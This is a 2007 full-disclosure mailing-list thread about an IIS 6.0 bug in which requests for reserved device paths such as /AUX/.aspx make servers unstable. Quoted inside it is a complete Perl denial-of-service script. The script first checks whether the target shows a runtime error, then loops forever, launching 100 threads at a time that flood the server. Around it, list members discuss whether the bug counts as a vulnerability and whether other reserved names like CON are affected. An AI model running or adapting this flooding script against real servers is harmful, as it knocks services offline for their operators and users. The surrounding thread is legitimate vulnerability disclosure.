full-disclosure - Re: Question Regarding IIS 6.0 / Is this a DoS???

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Message-ID: <5e01c29a0705230229i2420b6e6n3e735b715781054e@mail.gmail.com>
Date: Wed, 23 May 2007 19:29:22 +1000
From: "Michael Silk" <michaelslists@...il.com>
To: kingcope <kingcope@....net>
Cc: Full-Disclosure <full-disclosure@...ts.grok.org.uk>,
	bugtraq@...urityfocus.com
Subject: Re: Question Regarding IIS 6.0 / Is this a DoS???

i wonder; does it happen with the word "CON" instead of "AUX"? there are
also more of these 'reserved' words; i can't remember them though.



On 5/23/07, kingcope <kingcope@....net> wrote:
>
> Hello Russian friend,
>
> This is an interesting thought. As you see in the exception
> And in the exception backtrace of IIS it tries to access \\.\AUX
> Or other special device names. Normally this is blocked by a
> C# method which checks the path (for example /AUX.aspx is blocked).
>
>
> Best Regards,
>
> Kingcope
>
> -----Original Message-----
> From: 3APA3A [mailto:3APA3A@...URITY.NNOV.RU]
> Sent: Wednesday, May 23, 2007 10:41 AM
> To: kingcope
> Cc: Full-Disclosure; bugtraq@...urityfocus.com
> Subject: Re: [Full-disclosure] Question Regarding IIS 6.0 / Is this a
> DoS???
>
> Dear kingcope,
>
> It's  vulnerability regardless of DoS impact, because it allows attacker
> to access special DOS devices (COM1 in this case). E.g. it could be used
> to read data from device attached to COM1 or prevent another application
> >from accessing this port (or LPT), because access to ports is exclusive.
>
> --Tuesday, May 22, 2007, 9:10:08 AM, you wrote to
> full-disclosure@...ts.grok.org.uk:
>
> k> Hello List,
>
> k> Recently I saw a small bug in IIS 6.0 when requesting a special path.
> k> When I request /AUX/.aspx the server takes a bit longer to respond as
> k> Normally. So I did write an automated script to see what happens if
> k> I request this file several times at once. The result is that some
> servers
> k> On the internet get quite instable, some do not. On some servers after
> I
> k> Stop the attack I get an exception that the Server is too
> busy/Unhandled
> k> Exception on the wwwroot (/) path.
> k> Can you/the list confirm that?
>
> k> Here is a lame testing script for this stuff:
>
>
>
>
>
> k> #When sending multiple parallel GET requests to a IIS 6.0 server
> requesting
> k> #/AUX/.aspx the server gets instable and non responsive. This happens
> only
> k> #to servers which respond a runtime error (System.Web.HttpException)
> k> #and take two or more seconds to respond to the /AUX/.aspx GET request.
> k> #
> k> #
> k> #signed,
> k> #Kingcope kingcope@....net
> k>
> ##########################################################################
> k>
> ###***********************************************************************
> k> ###
> k> ###
> k> ###
> k> ### Lame Internet Information Server 6.0 Denial Of Service
> (nonpermanent)
> k> ### by Kingcope, May/2007
> k> ### Better run this from a Linux system
> k>
> ##########################################################################
>
> k> use IO::Socket;
> k> use threads;
>
> k> if ($ARGV[0] eq "") { exit; }
> k> my $host = $ARGV[0];
>
> k> $|=1;
>
> k> sub sendit {
> k> $sock = IO::Socket::INET->new(PeerAddr => $host,
> k>                               PeerPort => 'http(80)',
> k>                               Proto    => 'tcp');
>
> k> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
> k> $host\r\nConnection:close\r\n\r\n";
> k> }
>
> k> $sock = IO::Socket::INET->new(PeerAddr => $host,
> k>                               PeerPort => 'http(80)',
> k>                               Proto    => 'tcp');
>
> k> print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost:
> k> $host\r\nConnection:close\r\n\r\n";
>
> k> $k=0;
> k> while (<$sock>) {
> k>      if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
> k>                      $k=1;
> k>                      last;
> k>      }
> k> }
>
> k> if ($k==0) {
> k>      print "Server does not seem vulnerable to this attack.\n";
> k>      exit;
> k> }
>
> k> print "ATTACK!\n";
>
> k> while(1){
>
> k> for (my $i=0;$i<=100;$i++) {
> k>      $thr = threads->new(\&sendit);
> k>      print "\r\r\r$i/100                        ";
> k> }
>
> k> foreach $thr (threads->list) {
> k>      $thr->join;
> k> }
> k> }
>
>
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> Ибо факты есть факты, и изложены они лишь для того, чтобы их поняли и в
> них
> поверили. (Твен)
>
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-- 
mike
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